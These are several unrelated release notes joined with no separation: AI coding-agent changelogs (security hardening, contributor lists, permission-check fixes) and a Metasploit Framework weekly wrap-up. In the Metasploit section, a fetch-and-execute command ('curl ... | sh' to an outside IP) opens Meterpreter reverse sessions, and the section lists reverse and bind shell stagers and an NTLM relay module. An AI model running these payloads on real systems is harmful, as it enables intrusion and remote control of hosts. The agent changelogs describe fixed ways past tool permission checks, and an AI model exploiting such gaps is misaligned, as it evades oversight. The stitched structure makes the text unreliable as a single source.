• Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
• Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
• Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
• computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
• Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
• CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
• Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
• Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
• Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

• iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
• dynamic-workflow orchestration skill (landed, then reverted) — not shipping
• memory provider-actions extension point (landed, then reverted) — not shipping
• Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

• @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
• @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
• @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
• @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
• @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
• @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
• @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
• @austinpickett — desktop custom endpoint settings
• @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

• @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
• @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
• @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
• @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
• @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
• @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
• @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
• @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
• @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
• @vishal-dharm — Gemini request-context improvements
• @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
• @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
• Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

Improvements

• Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

• Reduce OpenAI provider header timeouts during slow connection setup.
• Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.
• Restore Azure Cognitive Services endpoint support for Azure-hosted models.

Desktop

Improvements

• Sync the embedded terminal theme with the app theme.
• Improve the review panel so open file tabs can stay aligned with the current diff view.
• Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.
• Improve review panel resizing and sticky controls.

Bugfixes

• Preserve command drafts in the command menu.
• Avoid session view failures when message parent links are missing.
• Prevent sending empty prompt text parts.
• Restore model variant selection accessibility.
• Show keybind tooltips on prompt input controls. (@ProdigyRahul)
• Deduplicate repeated file entries in diff summaries.
• Prevent recovery window handling from touching destroyed windows.

Thank you to 3 community contributors:

• @jerome-benoit:
  • fix(nix): relax Bun version check for desktop build (#36767)
  • fix(nix): restore desktop integration (#37197)
• @ProdigyRahul:
  • fix(app): show keybind tooltips on prompt input controls (#37824)
• @chouqin:
  • feat(opencode): use adaptive thinking effort for kimi family on anthr… (#37696)

• Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only <cwd>/dir
• Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
• Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer
• Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically
• Fixed Bash permission checks treating zsh variable subscripts and modifiers in [[ ]] comparisons as inert text — these commands now prompt for approval
• Fixed Bash permission checks to no longer auto-approve certain help and man commands that could run unsafe options, command substitutions, or backslash paths
• Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog
• Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see https://www.anthropic.com/research/end-subset-conversations
• Added a periodic progress heartbeat for long-running tool calls that previously went silent
• Added an ISO modified timestamp to memory file frontmatter
• Added message.uuid, client_request_id, and tool_source attributes to OpenTelemetry log events for message-level correlation and tool provenance
• Added CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH to configure the 60 KB truncation limit on OpenTelemetry content attributes
• Added reasoning effort to the subagentStatusLine payload, so custom agent rows can render model and effort
• Added permission prompts for docker commands (including the Podman docker shim) carrying daemon-redirect flags (--url, --connection, --identity, and Podman's remote mode) that previously ran without one
• Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags
• Fixed Bash tool killing the Claude session when a pkill -f pattern accidentally matched the CLI's own process (Linux)
• Fixed unbounded memory growth when --settings points at a device file or multi-GB file; oversized (>2 MiB) settings files now fail at startup with a clear error
• Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows
• Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap
• Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task
• Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)
• Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)
• Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)
• Fixed the PowerShell tool reporting where.exe, fc.exe, and diff.exe as errors when they return a valid negative answer (Windows)
• Fixed > and >> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8
• Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon
• Fixed background sessions parked with ← or /background and left idle keeping the background daemon and a worker process alive indefinitely
• Fixed completed background sessions being impossible to remove via claude rm or the agent view once the background service had gone idle
• Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view
• Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store
• Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled
• Fixed /install-github-app and the /mcp settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached
• Fixed plugins enabled via the --settings CLI flag not loading (regression since v2.1.181)
• Fixed feature flags going stale in long-running sessions after the OAuth token rotates
• Fixed /ultrareview refusing to run in repos with no merge base — it now offers to review all tracked files
• Fixed claude update and claude doctor hanging silently, and the /status System diagnostics section going blank, when a shell-config path is a directory
• Fixed memory frontmatter values being silently truncated at an inline # when memory files are saved
• Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative message_delta frames
• Fixed a spurious "check your network" warning that appeared while the advisor was thinking
• Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation
• Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context
• Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources
• Improved the claude rc workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory
• Changed single-segment dir/** hook if: conditions to match only <cwd>/dir; write **/dir/** for any-depth matching. deny/ask permission rules keep their any-depth match.
• Changed file commands using -m/--magic-file or -f/--files-from to require permission instead of being auto-allowed as read-only
• Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket
• Changed SessionStart hooks to report source "fork" when a session begins as a fork instead of "resume"

While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the RSS Feed to be alerted when new blogs are released.

Fetch Multi: Just Fetch and Forget?

Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.

Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

RISC architecture is going to change everything!

Speaking of juggling multiple architectures, bcoles added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.

New module content (4)

Microsoft Windows HTTP to SMB Relay

Author: jheysel-r7

Type: Auxiliary

Pull request: #21620 contributed by jheysel-r7

Path: server/relay/http_to_smb

Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.

Byte XORi Encoder

Author: bcoles bcoles@gmail.com

Type: Encoder

Pull request: #21235 contributed by bcoles

Path: riscv32le/byte_xori

Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.

FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Adapter)

Pull request: #21384 contributed by bwatters-r7

Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.

This adapter adds 421 new payloads for all Linux and Windows architectures including:

• cmd/linux/ftp/aarch64/chmod
• cmd/linux/ftp/x86/meterpreter/reverse_tcp
• cmd/windows/ftp/aarch64/meterpreter_reverse_http

FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Stager)

Pull request: #21237 contributed by bcoles

Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.

• cmd/linux/ftp/riscv32le/shell/bind_tcp
• cmd/linux/http/riscv32le/shell/bind_tcp
• cmd/linux/https/riscv32le/shell/bind_tcp
• cmd/linux/tftp/riscv32le/shell/bind_tcp
• linux/riscv32le/shell/bind_tcp
• cmd/linux/ftp/riscv32le/shell/reverse_tcp
• cmd/linux/http/riscv32le/shell/reverse_tcp
• cmd/linux/https/riscv32le/shell/reverse_tcp
• cmd/linux/tftp/riscv32le/shell/reverse_tcp
• linux/riscv32le/shell/reverse_tcp
• cmd/linux/ftp/riscv64le/shell/bind_tcp
• cmd/linux/http/riscv64le/shell/bind_tcp
• cmd/linux/https/riscv64le/shell/bind_tcp
• cmd/linux/tftp/riscv64le/shell/bind_tcp
• linux/riscv64le/shell/bind_tcp
• cmd/linux/ftp/riscv64le/shell/reverse_tcp
• cmd/linux/http/riscv64le/shell/reverse_tcp
• cmd/linux/https/riscv64le/shell/reverse_tcp
• cmd/linux/tftp/riscv64le/shell/reverse_tcp
• linux/riscv64le/shell/reverse_tcp

Enhancements and features (4)

• #21235 from bcoles - Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.
• #21384 from bwatters-r7 - Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.
• #21599 from Pushpenderrathore - This extends CertificateTrace functionality to also surface the server's TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.
• #21602 from zeroSteiner - Updates the Windows service PE template to use an injected segment instead of the old substitution method.

Bugs fixed (4)

• #21621 from eipoverflow - This fix a limitation on running fileless staged Meterpreter in recent OSX versions.
• #21670 from zeroSteiner - Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.
• #21675 from sjanusz-r7 - Fix search_cache job cache generation by skipping multi arch payloads.
• #21677 from bwatters-r7 - Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.143...6.4.144
• Full diff 6.4.143...6.4.144

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

• /fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
• Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt (pass --yes to skip)
• Added a session-wide limit on WebSearch tool calls (default 200, tunable via CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION) to stop runaway search loops
• Added a per-session cap on subagent spawns (default 200, override with CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION) to stop runaway delegation loops; /clear resets the budget
• MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS
• Typing /resume in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session
• Fixed plan mode auto-running file-modifying Bash commands (e.g. touch, rm) without a permission prompt or SDK canUseTool callback
• Fixed worktree creation following a repository-committed symlink at .claude/worktrees, which could create files outside the repository
• Fixed a continue:false hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections
• Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143
• Fixed /background and claude --bg failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7
• Fixed shell mode (!) not executing commands containing file paths while the path autocomplete popup was open
• Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji
• Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the ? help overlay
• Fixed /ultrareview rejecting PR references like #123, PR 123, and pasted PR URLs; error hints now name the command you actually typed
• Fixed /ultrareview <branch> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos
• Fixed /ultrareview skipping the billing confirmation in a new conversation after /clear
• Fixed /ultrareview's "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands
• Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning
• Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session
• Fixed ExitWorktree failing with "no active EnterWorktree session" after resuming a session with --continue/--resume in print/SDK mode
• Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run
• Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart
• Fixed background sessions created with /fork losing their live-parent protection after a state write failure
• Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart
• Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session
• Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long
• Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode
• Fixed diff previews losing their line numbers and +/- markers in narrow layouts
• Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143
• Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding
• Fixed OTLP event log records missing trace_id/span_id when TRACEPARENT is set in SDK/headless mode
• Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause
• Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded
• Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff
• Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)
